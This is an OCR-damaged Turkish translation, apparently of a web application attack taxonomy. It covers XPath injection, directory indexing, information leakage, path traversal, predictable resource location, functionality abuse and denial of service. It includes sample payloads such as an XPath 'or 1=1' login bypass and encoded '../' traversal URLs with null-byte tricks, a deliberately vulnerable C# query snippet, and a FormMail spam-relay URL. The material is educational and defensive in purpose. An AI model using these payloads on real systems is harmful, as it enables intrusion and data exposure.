http://hexagon.itgo.com/Notadetapa/a_practical vulnerability analys.htm

9.4.7 Xpath Enjeksiyonu

XPath enjeksiyonu, kullanici kaynakli girdilerden Xpath sorgulari olusturan web sitelerini
somiirmek icin kullanilan bir tekniktir.

Xpath 1.0 bir XML dokiimaninin parcalarini isaret etmek i¢in kullanilabilir. Dogrudan uygulama
tarafindan bir XML dokiimanini sorgulamak icin kullanilabildigi gibi, XSTL dokiimaninin XML
dokiimanina doniisiimii veya XML dokiimanina Xquery uygulanmasi gibi daha biiyiik bir islemin
parcasi olarak da kullanilabilir.

Xpath’in sézdizimi bir SQL sorgusunu andirir, ve aslinda, Xpath kullanarak bir xml
dokiimaninda SQL benzeri sorgular olusturmak miimkiindiir. Ornegin, kullanici isimli bir
elemant olan bir XML dokiimant olsun, ve biitiin bu kullanicilarin isim, parola ve hesap isimli 3
tane alt elemani olsun. Takip eden Xpath ifadesi “jsmith” isimli ve “Demo1234” parolal
kullanicinin hesap numarasini verir. (veya boyle bir kullanici yoksa bos dize verir.)

string(//user[isim/text()="jsmith' and parola/text()='Demo1234']/hesap/text())

Eger bir uygulama, Xpath sorgusunu yiiriitme esnasinda olusturuyorsa, sorguya giivenli olmayan
kullanict girdisi gomerek sorguya veri enjekte edebilir ve yeni olusan sorgu programcinin
isteginin disinda ¢alisabilir.

Ornek

Diisiiniin ki bir web uygulamas1 bir XML doékiimanina sorgu yapmak i¢in Xpath kullaniyor ve ismi ve
parolasi girilen bir kullanicinin hesap numarasii getiriyor. Bu uygulama bu degerleri dogrudan Xpath
sorgusunun i¢ine gémebilir ve giivenlik agig1 olusturabilir.

Iste bir 6rnek (Microsoft ASP.NET ve C# kullanilarak)

XmlDocument XmlDoc¢ = new XmlDocument();
XmlDoc.Load("...");

XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr = nav.Compile("string(//kullanici[name/text()=""+TextBox1.Text+"'
and password/text()=""+TextBox2.Text+ "'|/account/text())");

String account=Convert. ToString(nav.Evaluate(expr));

if (account=="") {
// name+password pair is not found in the XML document
// login failed.


http://httpd.apache.org/docs/misc/security_tips.html#ssi
http://www.cgisecurity.net/papers/header-based-exploitation.txt
http://hexagon.itgo.com/Notadetapa/a_practical_vulnerability_analys.htm

}else {
// account found -> Login succeeded.
// Proceed into the application.

}

Bu kod kullanildiginda, bir saldirgan Xpath ifadeleri enjekte edebilir ve, drnegin, takip eden degeri
kullanici ad1 olarak saglayabilir.

"or 1=1 or "='

Bu orjinal Xpath in anlaminin degismesine, ve her zaman XML doékiimanindaki ilk hesap numarasinin
donmesine sebep olur. Bu durumda sorgu,

string(//kullanici[isim/text()=" or 1=1 or "=" and parola/text()='foobar']/hesap/text())
Bu, (6nermedeki esitlik her zaman dogru olacagindan), sununla esdegerdir:
string(//kullanici/hesap/text())

ve ilk //kullanici/hesap/text() 6rnegini dondiiriir.

Bu yiizden, saldiri, dogru kullanict adi ve parolast girmedigi halde saldirgani sisteme sokar (XML
dokiimanindaki ilk kullanici olarak).

Kaynak
“XML Path Language (XPath) Version 1.0” - W3C Recommendation, 16 Nov 1999
http://www.w3.org/TR/xpath

“Encoding a Taxonomy of Web Attacks with Different-Length Vectors” - G. Alvarez and S. Petrovic
http://arxiv.org/PS_cache/cs/pdf/0210/0210026.pdf

“Blind XPath Injection” - Amit Klein
http://www.sanctuminc.com/pdfc/WhitePaper Blind XPath_Injection_20040518.pdf

9.5 Bilgi Aciga Cikarma

Bilgi aciga ¢ikarma boliimii, bir web sitesinin sisteme 6zel bilgilerinin elde edilmesi i¢in
diizenlenen saldirilar1 kapsar. Sisteme 6zel bilgiler, yazilim dagitimi, versiyon numaralari, ve
yama seviyelerini igerir. Veya bu bilgi yedek ve gegici dosyalarin yeri de olabilir. Cogu durumda,
kullanict gereklerini karsilamak icin bu bilgiyi aciga ¢ikarmak gerekli degildir. Bircok web sitesi
bir kisim veriyi gosterecektir, fakat miimkiin oldugu durumlarda, gosterilen bu verinin boyutunu
azaltmak en iyisi olacaktir. Saldirgan web sitesi hakkinda ne kadar ¢ok bilgi sahibi olursa, siteyi
ele gecirmesi de o kadar kolay olur.

9.5.1 Dizin indeksleme

Otomatik dizin listeleme/indeksleme, sitede esas dosya yoksa
(index.html/home.html/default.htm), bir web sitesinin, talep edilen dizinin igerisindeki biitiin
dosyalari listelemesi seklindeki gergeklesen bir fonksiyonudur. Bir kullanici bir web sitesinin ana
sayfasini talep ettiginde, normalde URL kismina sunlar1 yazar: http://www.example.com — sadece
etki alam1 ismini kullanarak ve 0zel olarak dosya belirtmeyerek. Web sunucusu bu istegi


http://www.w3.org/TR/xpath
http://arxiv.org/PS_cache/cs/pdf/0210/0210026.pdf
http://www.sanctuminc.com/pdfc/WhitePaper_Blind_XPath_Injection_20040518.pdf

degerlendirir ve dokiimanin bulundugu kok dizininde varsayilan dosyayi arar ve bu dosyayi
kullanictya gonderir. Eger bu dosya bulunamazsa, web sunucusu bir dizin listelemesi yapar ve
sonuglari istemciye gonderir.

Aslinda, bu “Is” (Unix) veya “dir” (Windows) komutunun bu dizinde ¢alistirllmasiyla esdegerdir
ve sonuglart HTML bi¢iminde gdsterir. Saldir1 ve karsi tedbir goziiyle bakarsak, istenmeyen dizin
listelemelerinin yazilim agiklari ile birlesen 6zel bir web talebi sonucunda ortaya g¢ikabilecegini
anlamak onemlidir. (asagida, 6rnek boliimiinde incelenecek.)

Web sunucusu dizin igerigini gosterdiginde, bu liste genele acik olmayan bilgiler de icerebilir.
Cogu zaman web yoneticileri “gizlilik iizerinden giivenlik” ilkesine uyarlar ve eger dokiimanlara
ulasan baglar yoksa bulunamayacagimi ve kimsenin bu dokiimanlari okuyamayacagini
varsayarlar. Bu varsayim yanhistir. Glniimiiziin agiklik tarayicilari, ornegin Nikto, ilk
incelemelerinin sonuclarina gore yaptiklar1 taramalara dinamik olarak fazladan dizinler/dosyalar
ekleyebilir. /robots.txt dosyasini tekrar inceleyerek ve/veya dizin indeksleme igerigini
inceleyerek, aciklik tarayici web sunucusunu bu yeni verilerle sorgulayabilir. Potansiyel olarak
zararsiza olsa da, dizin indeksleme veri kacagina ve boylece saldirgana, sisteme yapacagi sonraki
saldirilarinda gerekli olacak olan bilgilerin saglanmasina sebep olabilir.

Ornek
Takip eden bilgiler dizin indeksleme sayesinde elde edilebilir:

e Yedek Dosyalar - .bak, .old veya .orig uzantili dosyalar.

e Gegici Dosyalar — bu dosyalarin normalde sunucu tarafindan yok edilmesi gerekir fakat bazi
sebeplerden dolayi hala erigilebilir durumdalar.

e Gizli Dosyalar — “.” Ile baslayan dosya isimleri

e Isimlendirme kabulleri — saldirgan, web sitesinin kullandig1 dizin veya dosya isimleri
kompozisyonunu tanimlayabilir. Ornek: Admin vs. Admin, backup vs. back-up, vb.

e Kullanici Hesaplarini Tarama — bir web sunucusundaki kisisel kullanicit hesabinin sahip oldugu
dizin, ¢ogu zaman kullanicinin adi ile adlandirilir.

e Konfigiirasyon Dosyas1 Igerigi — bu dosyalar giris kontrolu verilerini icerebilir ve uzantilari
genellikle .conf, .cfg veya .config’dir.

e Betik Icerigi — Bircok web sunucusu betiklerin bir yer belirtilerek(érn. /cgi-bin) veya sunucuyu
konfigiire ederek dosya izinlerine bagli olarak c¢alistirilmasia izin verir (6rn. *nix sistemlerdeki
execute biti ve Apache’nin XbitHack direktifini kullanmasi). Bu seceneklere gore, eger cgi-bin
klasoriinde dizin indekslemesine izin veriliyorsa, izin olmadig1 halde bu klasdrdeki betik kodlar
indirilebilir, izlenebilir.

Bir saldirganin istenmeyen bir dizinin listesini elde edebilmesi i¢in 3 degisik senaryo vardir:

1. Web sunucusu hatali bir sekilde dizin indkslenmesine izin verir sekilde konfigiire edilmistir.
Karigiklik, web yoneticisinin konfigilirasyon dosyasindaki indeksleme direktiflerini ayarlarken
ortaya c¢ikabilir. Bu kadar karmasik bir sistemin ayarlarinin yapilmasi sirasinda istenmeyen
sonuclarin ortaya ¢ikmasi miimkiindiir, mesela 6zel bir alt dizine indeksleme hakk1 verilirken
sunucunun kalan kisminda bu hak kaldirilabilir. Saldirgan goziiyle HTTP istegi az Once
yukarida belirtilen (sadece etki alani ile) sekilde yapilir. Bir dizin istenir ve istenen sonucun
alimip alinmadigina bakilir. Saldirganlar web sunucusunun ‘“neden” bu sekilde konfiiire
edildigi ile ilgilenmezler.



2. Web sunucusunun bazi parcalari kapali oldugu halde ve indeks dosyasi bulundugu halde dizin
indekslemeye izin verir. Bu, dizin indeksleme i¢in gecerli olan tek sOomiirii Ornegi
senaryosudur. Bircok web sunucusunda tanimlanan sayisiz agiklik bulunmaktadir ve eger 6zel
HTTP talepleri gonderilirse dizin indeksi ile sonuglanabilir.

3. Google’ i onbellek veritabani bir web sitesinin eski taranmasindan kalma, dizin indeksi de
igerebilen tarihi veriler bulundurabilir.

Kaynak

Directory Indexing Vulnerability Alerts
http://www.securityfocus.com/bid/1063
http://www.securityfocus.com/bid/6721
http://www.securityfocus.com/bid/8898

Nessus “Remote File Access” Plugin Web page
http://cgi.nessus.org/plugins/dump.php3?family=Remote%20file%20access

Web Site Indexer Tools
http://www.download-freeware-shareware.com/Internet.php? Theme=112

Intrustion Prevention for Web
http://www.modsecurity.org

Search Engines as a Security Threat
http://it.korea.ac.kr/class/2002/software/Reading%20List/Search%20Engines%20as%20a%20Security%20Threat.pd
f

The Google Hacker’s Guide
http://johnny.ihackstuff.com/security/premium/The_Google Hackers Guide v1.0.pdf

9.5.2 Bilgi Sizintisi

Bir web sitesi hassas verileri ifsa ettiginde, gelistirici yorumlar1 veya hata mesajlar1 gibi, bu
veriler bir saldirganin sistemi sémiirmesine yardime1 olabilir. Hassas veri, HTML yorumlarinda,
hata mesajlarinda, kaynak HTML kodunda veya basit¢e agik bir diizyazi alaninda bulunabilir. Bir
web sitesini bu tiirlii verileri ifsa ettirmeye yarayan bir¢ok yol bulunur. Bu tiirlii sizintilar, her
zaman dogrudan bir giivenlik acig1 olmadigi halde, saldirgana ileriki saldirilarinda yararli bir
rehber olabilir. Hassas veri si1zintis1 degisik seviyerlerde risk tagidigindan miimkiin oldugu kadar
onlenmelidir.

Bilgi kacagmin ilk durumunda (HTML kodunda birakilan yorumlar, hata mesajlarinin agik
edilmesi), acik; saldirgana dizin yapisi, SQL sorgu yapist ve web sitesinin kullandig1 anahtar
islemler hakkinda yapisal bilgi verir. Cogu zaman gelistiricic HTML igerisine yorum veya hata
ayiklama ve entegrasyon amacli betik kodu birakir. Bu bilgi betigin nasil calistigin1 belirten
yorumdan, en kotii durumda, gelistirmenin test agmasinda kullanilan kullanici adlar1 ve parolalar
olabilir.

Bilgi sizintisi, gizli zannedilen veriler icin de, web sitesi tarafindan diizglin bir bi¢imde
korunmadiginda gecerlidir. Bu veri, hesap numaralari, kullanici tanimlayicilar (ehliyet numaras,
pasaport numarasi, kimlik numarasi, vb.) ve kullaniciya 6zel veri (hesap bakiyesi, adres ve islem
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gecmisi, vb.) icerebilir. Yetersiz kimlik dogrulama, yetersiz yetkilendirme ve giivenli iletim
sifrelenmesi de veriyi koruyan ve veriye erisimde diizgiin kontrolii saglayan mekanizmalardir.
Birgok saldiri, miisteri saldirilari, siradan gozlemciler, gibi, web sitesinin korunmasi kapsaminin
disinda kalir. Bilgi sizintisi, bu baglamda, agik bir sekilde kullaniciya bile gosterilmemesi
gereken, gizli ve anahtar kullanici verilerinin ifsa edilmesiyle ilgilenir. Kredi kartt numaralari,
diizgiin sifreleme ve giris kontrolii yapilsa bile bu tiir ifsalardan korunmasi gereken kullanici
verilerinde 6nemli bir 6rnektir.

Ornek
Bilgi si1zintis1 3 ana kategoride incelenebilir: HTML kodunda birakilan yorumlar, hata mesajlarinin ifsasi,
acik bir sekilde goriinebilen gizli veriler.

HTML kodunda birakilan yorumlar:

<TABLE border="0" cellPadding="0" cellSpacing="0"
height="59" width="591">
<TBODY>
<TR>
<!--If the image files are missing, restart VADER -->
<TD bgColor="#{fffff" colSpan="5" height="17" width="587">&nbsp;</TD>
</TR>

Burada gordigimiiz gibi, gelistirici/kalite kontrol personelinden birisi resim dosyalarinin
goriintiilenememesi halinde neler yapilmasi gerektigini belirten yorum birakmistir. Giivenlik agig ise,
yorumun igerisinde agik bir sekilde gegen sunucu ismidir, “VADER”.

Hata mesajlarmin agik edilmesine 6rnek, gecersiz sorgulara verilen cevaplar olabilir. Cok bilinen bir
ornek, SQL sorgulartyla iligkilendirilmis hata mesajlaridir. SQL enjeksiyonu saldirilari, saldirganin,
sitedeki SQL sorgularinin olusturulmasinin yapist ve bigimi hakkinda 6n-bilgi sahibi olmasini1 gerektirir.
Acik edilen hata mesajlarindaki bilgi, saldirgana, arkadaki veritabaninda gegerli SQL sorgularmin nasil
olusturuldugu hakkinda 6nemli bilgi saglar.

Takip eden bilgi bir giris formundaki kullanici adi kismma tek tirnak isareti kondugunda sunucu
tarafindan dondiiriilmiistiir.

Agik hata mesajt:

An Error Has Occurred.

Error Message:

System.Data.OleDb.OleDbException: Syntax error (missing operator) in query expression 'username
and password ='g". at

System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling (

Int32 hr) at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult

(tagDBPARAMS dbParams, Object& executeResult) at...

—_m

flk hata ciimlesinde sdzdizimi hatasi rapor edilmis. Hata mesaji SQL sorgusunda kullanilan sorgu
parametrelerini agik etmektedir: username ve password. Bu ifsa edilen bilgi saldirganin siteye yapacagi
SQL enjeksiyonu saldirilarina baglamasi i¢in gereken tek eksik parcadir.

Kaynaklar



“Best practices with custom error pages in .Net”, Microsoft Support
http://support.microsoft.com/default.aspx?scid=kb:en-us;834452

“Creating Custom ASP Error Pages”, Microsoft Support
http://support.microsoft.com/default.aspx?scid=kb;en-us;224070

“Apache Custom Error Pages”, Code Style
http://www.codestyle.org/sitemanager/apache/errors-Custom.shtml

“Customizing the Look of Error Messages in JSP”, DrewFalkman.com
http://www.drewfalkman.com/resources/CustomErrorPages.cfm

ColdFusion Custom Error Pages
http://livedocs.macromedia.com/coldfusion/6/Developing_ColdFusion MX_Applications_with CFML/Errors6.htm

Obfuscators :
JAVA
http://www.cs.auckland.ac.nz/~cthombor/Students/hlai/hongying.pdf

9.5.3 Yol Takibi

Yol takibi saldir1 teknigi web dokiimanlar1 kok dizininin disinda kalan dosyalara, dizinlere veya
komutlara erigimi saglar. Bir saldirgan URL’1 dyle bir sekilde diizenleyebilir ki, web sitesi web
sunucusu lizerindeki rastgele dosyalari calistirir veya goriintiiler. HTTP-tabanh arayiize sahip her
makina potansiyel olarak “Yol Takibi’ne agiktir.

Bircok web sitesi, dosya sisteminin sadece bir kismina, genellikle “web dokiimani kok dizini”
veya “CGI kok dizini” kismini kullanict erisimine agar. Bu dizinler, kullanici erisimine agik
dosyalar1 ve web uygulamasini ¢alistirabilmek i¢in gereken yiiriitiilebilir dosyalar igerir. Dosya
sistemindeki herhangi bir dosyaya ulasabilmek veya komutu calistirabilmek i¢in “Yol Takibi”
saldirilar1 6zel karakter dizilerini kullanir.

En genel “Yol Takibi” saldirisi, URL’de istenen kaynagin yerini degistirmek igin “../” Ozel
karakterlerini kullanir. Birgok popiiler web sunucusu web dokiimani kok dizininden ¢ikist
engellese de, “../” karakterlerinin degisik kodlanmasi, giivenlik filtrelerini asabilir. Bu metot
sekilleri arasinda, egik ¢izgi karakterinin gegerli veya gegersiz Unicode kodlanmasi (““..%u2216”
veya “..%c0%af”’), Windows tabanli sistemlerdeki ters egik ¢izgi karakterinin kullanilmasi (“..\”),
URL kodlanmis karakterler (“%2e%2e%2f”), ve ters egik c¢izgi karakterinin iki kez URL
kodlanmasi (““..%255¢”) bulunur.

Web sunucusu, URL iizerinden, “Yol Takibi”’ni diizgiin bir sekilde kisitlasa da, web
uygulmasinin kendi kullanic girdisini diizgiin bir sekilde denetlemezse, bu saldirtya agik olabilir.
Bu, sablon mekanizmas1 kullanan veya dosyadan duragan bir yazi1 yiikleyen web
uygulamalarinda ortak goriilen bir sorundur. Saldirinin ¢esitli sekillerinde, orjinal URL
parametresi, web uygulamasinin dinamik bir betiginin dosya ismiyle degistirilir. Sonug olarak,
donen sayfa kaynak kodu gosterir, ¢iinkii dosya yiiriitiilebilir bir betik seklinde degil de yazi
dosyas1 olarak okunmustur.
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http://livedocs.macromedia.com/coldfusion/6/Developing_ColdFusion_MX_Applications_with_CFML/Errors6.htm
http://www.cs.auckland.ac.nz/%7Ecthombor/Students/hlai/hongying.pdf
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Bu teknik ¢ogu zaman 06zel karakterlerden de faydalanir, 6rnegin (“.”) nokta karakteri su anda
caligmakta olan dizinin listesini gdstermeye, “%00” NULL karakteri de temel dosya uzantisi
kontrollerini gegmeye yarar.

Ornek
Bir web sunucusuna kars1 “Yol Takibi” saldirilart:

Saldir1: http://6rnek/../../../../../bir/dosya
Saldir1: http://6rnek/..%255¢..%255¢..%255cbir/dosya
Saldirt: http://6rnek/..%u2216..%u2216bir/dosya

Bir web uygulamasina kars1 “Yol Takibi” saldirilart:

Orjinal: http://example/foo.cgi?home=index.htm
Saldir1: http://example/foo.cgi?home=f00.cgi

Yukaridaki ornekte, web uygulamasi foo.cgi dosyasindaki kaynak kodu gdsterir, ¢linkii “home”
degiskeninin degeri igerik olarak kullanilmistir. Dikkatinizi ¢ektiyse, bu durumda saldirgan, basarili olmak
icin “Yol Takibi”’ne yarayan veya herhangi bir gegersiz karakter kullanmak zorunda kalmamustir.
Saldirgan ayni dizindeki baska bir dosyay1 hedef almistir.

Bir web uygulamasina karsi 6zel karakter dizileri kullanilarak yapilan saldirilar:

Saldirt: http://example/scripts/foo.cgi?page=../scripts/foo.cgi%00txt

Yukaridaki 6rnekte, web uygulamasi foo.cgi dosyasinin kaynak kodunu 6zel karakter dizileri kullanarak
yapilan saldir1 sonucu goriintiilemistir. “../” dizisi bir {ist dizine ¢ikmaya oradan da /scripts dizinine
girmeye yaramistir. “%00” dizisi hem dosya uzantisi kontr6liinii gegmek i¢in hem de dosya okundugunda
uzantisinin atilmasi i¢in kullanilir.

Kaynaklar
“CERT" Advisory CA-2001-12 Superfluous Decoding Vulnerability in IIS”
http://www.cert.org/advisories/CA-2001-12.html

“Novell Groupwise Arbitrary File Retrieval Vulnerability”
http://www.securityfocus.com/bid/3436/info/

9.5.4 Tahmin Edilebilir Kaynak Konumu

Tahmin edilebilir kaynak konumu, web sitesinin gizli igerigini veya islevini agiga ¢ikarmak i¢in
kullanilan bir saldir1 teknigidir. Mantikli tahminler yaparak, saldir1 kamusal izlenime kapali olan
icerigi birer birer deneyerek arar. Gegici dosyalar, yedek dosyalari, konfigiirasyon dosyalari, ve
ornek dosyalar potansiyel olarak ortada birakilmis dosyalara 6rnek olabilir. Bu birer birer
deneyerek arama islemi kolaydir cilinkii gizli dosyalar genelde ayni sekilde isimlendirilir ve
benzer yerlerde bulunur. Bu dosyalar web uygulamasinin igerigi, veritabani bilgisi, parolalar,
makina isimleri, diger hassas bolgelere olan dosya yollar1 hakkinda hassas bilgileri icerebilir veya
acikliklari icerisinde bulundurabilir. Bu bilgilerin agiga ¢ikarilmasi saldirgan icin ¢ok degerlidir.

Tahmin edilebilir kaynak konumu saldiris1 Giiglii Tarama, Dosya Siralama, Dizin Siralama vb.
olarak da bilinir.


http://%C3%B6rnek/../../../../../bir/dosya
http://%C3%B6rnek/..%255c..%255c..%255cbir/dosya
http://%C3%B6rnek/..%25u2216..%25u2216bir/dosya
http://example/foo.cgi?home=index.htm
http://example/foo.cgi?home=foo.cgi
http://example/scripts/foo.cgi?page=../scripts/foo.cgi%00txt
http://www.cert.org/advisories/CA-2001-12.html
http://www.securityfocus.com/bid/3436/info/

Ornek

Herhangi bir saldirgan kamuya agik bir web sunucusuna rastgele dosya veya dizin talebinde bulunabilir.
Kaynagin bulunup bulunmadigi web sunucusunun dondiigii HTTP doniis kodlar1 incelenerek bulunabilir.
Birgok Yeri Tahmin Edilebilir Kaynak saldir1 ¢esidi bulunur.

Ortak dosya ve dizinlerin kor aranmast:

/admin/
/backup/

/logs/

/agik dosya.cgi

Bulnunan dosyalara uzanti ekleme: (/test.asp)
/test.asp.bak

/test.bak

/test

9.6 Mantiksal Saldirilar

Mantiksal saldirilar boliimii bir web uygulamasinin mantik akisinin kétiiye kullanimina veya
somiiriilmesine odaklanir. Uygulama mantig1 belli bir eylemi gergeklestirmek i¢in kullanilan
ongoriilen prosediirel akistir. Parola kurtarma, hesap agma, agik arttirma teklifi ve eTicaret
alimlar1 web uygulama mantiginin 6rnekleridir. Bir web sitesi, belli bir eylemin tamamlanmasi
icin kullanicinin kendine 6zgii birden fazla adimli bir islemi gergeklestirmesini gerek kosabilir.
Bir saldirgan bu oOzellikleri altedip veya amaglar1 disinda kullanarak web sitesine veya
kullanicilarina zarar verebilir.

9.6.1 Fonksiyonelligin Kotliye Kullanimi

Fonksiyonelligin kotliye kullanilma teknikleri genellikle, gibi diger web uygulama saldirilar
kategorileri (mesela kodlama saldirisi kullanilarak uygulanan bir soru ciimlecigi ile bir web sorgu
fonksiyonunun uzaktan kumanda edilen bir web vekiline doniistiiriilmesi) ile i¢ igedir.
Fonksiyonelligin kétiiye kullanilma saldirilar1 ayni zamanda gii¢ arttirmak amaci ile yaygin
olarak kullanilir. Mesela, saldirgan bir web sdylesi sitesine XSS parcasin1 enjekte ederek ve
sitenin "herkese gonder" fonksiyonunu kullanarak kotli amagli kod ile biitiin siteye etki edebilir.

Genis bir bakis acist ile, bilgisayar tabanli sistemlere yonelik biitiin etkili saldirilar
fonksiyonelligin kotiiye kullanilmasmi igerirler. Ozellikle, bu tanim kullamshi bir web
uygulamasinin orijinal fonksiyonu ¢ok az veya hi¢ bir degisiklige ugratmadan kotii bir amag
ugruna kullanilmasin agiklar.

Ornek

Fonksiyonelligin kotiiye kullanilma 6rnekleri: a) bir web sitesindeki sorgulama fonksiyonunun web dizini
disindaki kisitlanmis dosyalara ulagilmasinda kullanilmasi, b) bir dosya yiikleme altsisteminin dahili kritik
konfigiirasyon dosyalarinin degistirilmesinde kullanilmasi, ve ¢) Bir web-kullanci giris sayfasinin taniml
kullanici isimleri ve tanimsiz parolalar ile bombardiman edilerek tanimli kullanicilarin, belirli bir tekrar
deneme limiti asildig1 i¢in, hesaplar kilitlenerek uygulamanin servis disi birakma saldirisina ugratilmasi
gibi saldirilart igerir. Diger gergek diinya o6rnekleri asagida agiklanmistir.



1. Matt Wright FormMail

PERL tabanli "FormMail" web uygulamasi, normal olarak kullanici tarafindan saglanan form verilerinin
onceden programlanmis bir e-mail adresine gonderilmesi i¢in kullaniliyordu. Betik, web sitelerine geri
beslemeyi saglayacak, kullanilmasi kolay bir ¢6ziim sagliyordu. Bu nedenle, FormMail betigi ¢evrimigci
olarak en ¢ok kullanilan CGI programlarindan biriydi. Ne yazik ki, programimn bu yiiksek derecedeki
kolayligi ve kullanilabilirligi saldirganlar tarafindan uzaktaki herhangi bir aliciya e-mail yollanmasi
suretiyle kotiiye kullanilmigti. Kisacasi, bu web uygulamasi tarayicidan tek bir web istegiyle bir spam-
rOlesi motoruna (spam-relay) doniistiiriillmiistii.

Saldirganimn istenilen e-mail parametrelerini iceren bir URL olusturup, CGI programma HTTP GET
yollamasi yeterliydi. Mesela;

http://example/cgi-bin/FormMail.pl?recipient=email@victim.example&message=you&got&spam

Web sunucunun yollayici olarak davranmasi ve web uygulamasinin saldirgana tamamen vekalet etmesi ile
bir e-mail {iretilir. Betigin bu versiyonunda hi¢ bir gilivenlik mekanizmasi bulunmadigindan,
uygulanabilecek tek savunma onlemi, kullanilacak 6zel e-mail adresinin betigin igine gomiilmesiydi. Bu
¢Oziimiin engellenmesi durumunda ise, site operatorleri web uygulamasini ya tam olarak kaldirmak ya da
tamamen degistirmek zorunda kaliyorlardi.

2. Macromedia'nin Cold Fusion'u

Bazen web uygulamalarinin igine istenmeyen amaglar i¢in kolaylikla kullanilabilen temel yonetimsel
araclar gomiiliirler. Ornek olarak, Macromedia'nin Cold Fusion'u kurulum ile birlikte gelen ve herkes
tarafindan erisilebilen bir kaynak kod goriintileme modiiliine sahiptir. Bu modiiliin suistimali web
uygulamasinda ciddi bir bilgi sizmasina yol agabilir. Cogunlukla bu tiir modiiller, 6rnek dosyalar veya
kurulum dis1 fonksiyonlar degil, kritik sistem bilesenleridirler. Bu durum web uygulamalari sistemlerine
derinden baglandiklar1 nedeniyle bu tiir modiillerin kapatilmalarini problemli kilar.

3. Smartwin CyberOffice Aligveris Sepeti Fiyat Degisikligi

Fonksiyonelligin suistimali bir saldirganin web uygulamasimin davranisini degistirmek icin verileri
umulmadik bir sekilde bozmasiyla gerceklesir. Mesela, CyberOffice aligveris sepeti, web formunun
icindeki gizli fiyat alaninin degistirilmesi ile suistimal edilebilir. Web sayfasi normal olarak indirilir,
degistirilir ve sonra fiyat alan1 istenilen herhangi bir fiyata esitlenerek geri yollanilir.

Referanslar
“FormMail Real Name/Email Address CGI Variable Spamming Vulnerability”
http://www.securityfocus.com/bid/3955

“CVE-1999-0800”
http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0800

“CA Unicenter pdmcgi.exe View Arbitrary File”
http://www.osvdb.org/displayvuln.php?osvdb_id=3247

“PeopleSoft PeopleBooks Search CGI Flaw”
http://www.osvdb.org/displayvuln.php?osvdb_id=2815

“iisCART2000 Upload Vulnerability”
http://secunia.com/advisories/8927/

“PROTEGO Security Advisory #PSA200401”
http://www.protego.dk/advisories/200401.html



“Price modification possible in CyberOffice Shopping Cart”
http://archives.neohapsis.com/archives/bugtraq/2000-10/0011.html

9.6.2 Servis Dis1 Birakma

Servis Dis1 Birakma (DoS) bir web sitesini normal kullanici aktivitesinden alikoymak amaci ile
yapilan bir saldir1 teknigidir. Genel olarak network tabakasina kolaylikla uygulanabilen DoS
saldirilart uygulama tabakasinda da miimkiindiir. Bu kotii niyetli saldirilar bir sistemi kritik
kaynaklarindan mahrum birakarak, bir agikligin gercekleyerek veya bir fonksiyonu suistimal
ederek basariya ulasabilirler.

Bir ¢ok zaman DoS saldirilar1 bir web sitesinin varolan biitiin sistem kaynaklarini bitirmeye
calisirlar, bu kaynaklara ornek olarak; CPU, hafiza, disk yeri, v.b. verilebilir. Bu kritik
kaynaklardan herhangi biri tam gii¢ kullanildiginda, web sitesi normal olarak erisilemez olacaktir.

Bugiiniin web uygulamalar1 bir web sunucusu, veritabani sunucusu ve bir yetkilendirme sunucusu
icerdiginden, uygulama tabakasindaki bir DoS, bu birbirinden bagimsiz bilesenlerden herhangi
birini hedef alabilir. Cok biiyiikk miktarda baglant1 tesebbiisii gerektiren network tabakasindaki
DoS'dan farkli olarak, uygulama tabakasindaki DoS ¢ok daha kolay uygulanabilir bir istir.

Ornek

Medikal ge¢mis raporu iireten bir Saglik Bakimi web sitesi diisiiniin. Web sitesi, her rapor isteginde, tek
bir sosyal giivenlik numarasina karsilik gelen biitiin kayitlar1 getirmesi i¢in bir veritabanini
sorgulamaktadir. Veritabaninda biitiin kullanicilar igin yiizbinlerce kayit tutuldugundan, kullanicilar kendi
kayitlarii gorebilmek i¢in 3dk beklemek zorundadirlar. Bu 3dk boyunca, karsilik gelen kayitlar1 ararken,
veritaban1 sunucusunun CPU'su %60 yogunlukla ¢alismaktadir.

Basit bir uygulama tabakasi DoS saldirisi, medikal gegmis raporu iiretilmesi i¢in 10 istegin ayni anda
gonderilmesi olacaktir. Bu istekler, veritabani sunucusunun CPU'sunu %100 yogunluga ulastiracagidan
web sitesini biiylik bir ihtimalle hizmet dis1 durumuna sokacaktir. Bu noktada sistem normal kullanict
aktivitesine servis veremez hale gelecektir.

1. Belli bir Kullaniciy1 Hedef Alan DoS
Saldirgan belli bir kullanic1 ad1 ve bilingli olarak tiretilmis yanlis bir parola ile bir web sitesine
girmek isteyecektir. Bu islem en sonunda kullanici adi kullanilan kisinin hesabini kitleyecektir.

2. Veritabanin1 Hedef Alan DoS
Saldirgan veritabanini degistirip sistemi kullanilmaz hale getirmek (Biitiin veriyi, kullanici
adlarini silerek, v.b.) i¢in SQL Enjeksiyonu tekniklerini kullanacaktir.

3. Web Sunucusunu Hedef Alan DoS

Saldirgan, web sunucusu isini (proses) sonlandiran 6zel olarak hazirlanmis bir istek gondermek
icin arabellek tagmasi tekniklerini kullanacak ve sistemi normal kullanici aktivitelerine erigilmez
hale getirecektir.


http://archives.neohapsis.com/archives/bugtraq/2000-10/0011.html

9.6.3 Yetersiz Anti-otomasyon

Yetersiz anti-otomasyon, bir web sitesinin saldirgana normalde manual olarak (elle) yapmasi
gereken bir isi otomatik olarak yapabilmesine izin verdigi durumdur. Bazi web sitesi
fkonsiyonlar1 otomatiklestirilmis saldirilara kars1 korunmalidir.

Go6z oOniinde bulundurulmamis otomatik robotlar (programlar) veya saldirganlar, web sitesinin
fonksiyonlarini sistemi somiirmek veya dolandirmak icin tekrar tekrar kullanabilirler. Otomatik
bir robot bir dakika iginde binlerce istek ¢alistirip potansiyel is ve servis kaybina neden olur.

Mesela, otomatik bir robot bir ka¢ dakika i¢inde onbinlerce yeni hesap agamamalidir. Benzer
olarak, otomatik robotlar diger kullanicilart mesaj tahtalarina tekrar tekrar mesaj yollayarak taciz
edememelidirler. Bu operasyonlar sadece insanlarin kullanabilecegi operasyonlar olarak
kisitlanmalidirlar.

Referanslar
Telling Humans Apart (Automatically)
http://www.captcha.net/

“Ravaged by Robots!”, By Randal L. Schwartz
http://www.webtechniques.com/archives/2001/12/perl/

“ Net Components Make Visual Verification Easier”, By JingDong (Jordan) Zhang
http://go.cadwire.net/?3870,3,1

“Vorras Antibot”
http://www.vorras.com/products/antibot/

“Inaccessibility of Visually-Oriented Anti-Robot Tests”
http://www.w3.org/TR/2003/WD-turingtest-20031105/

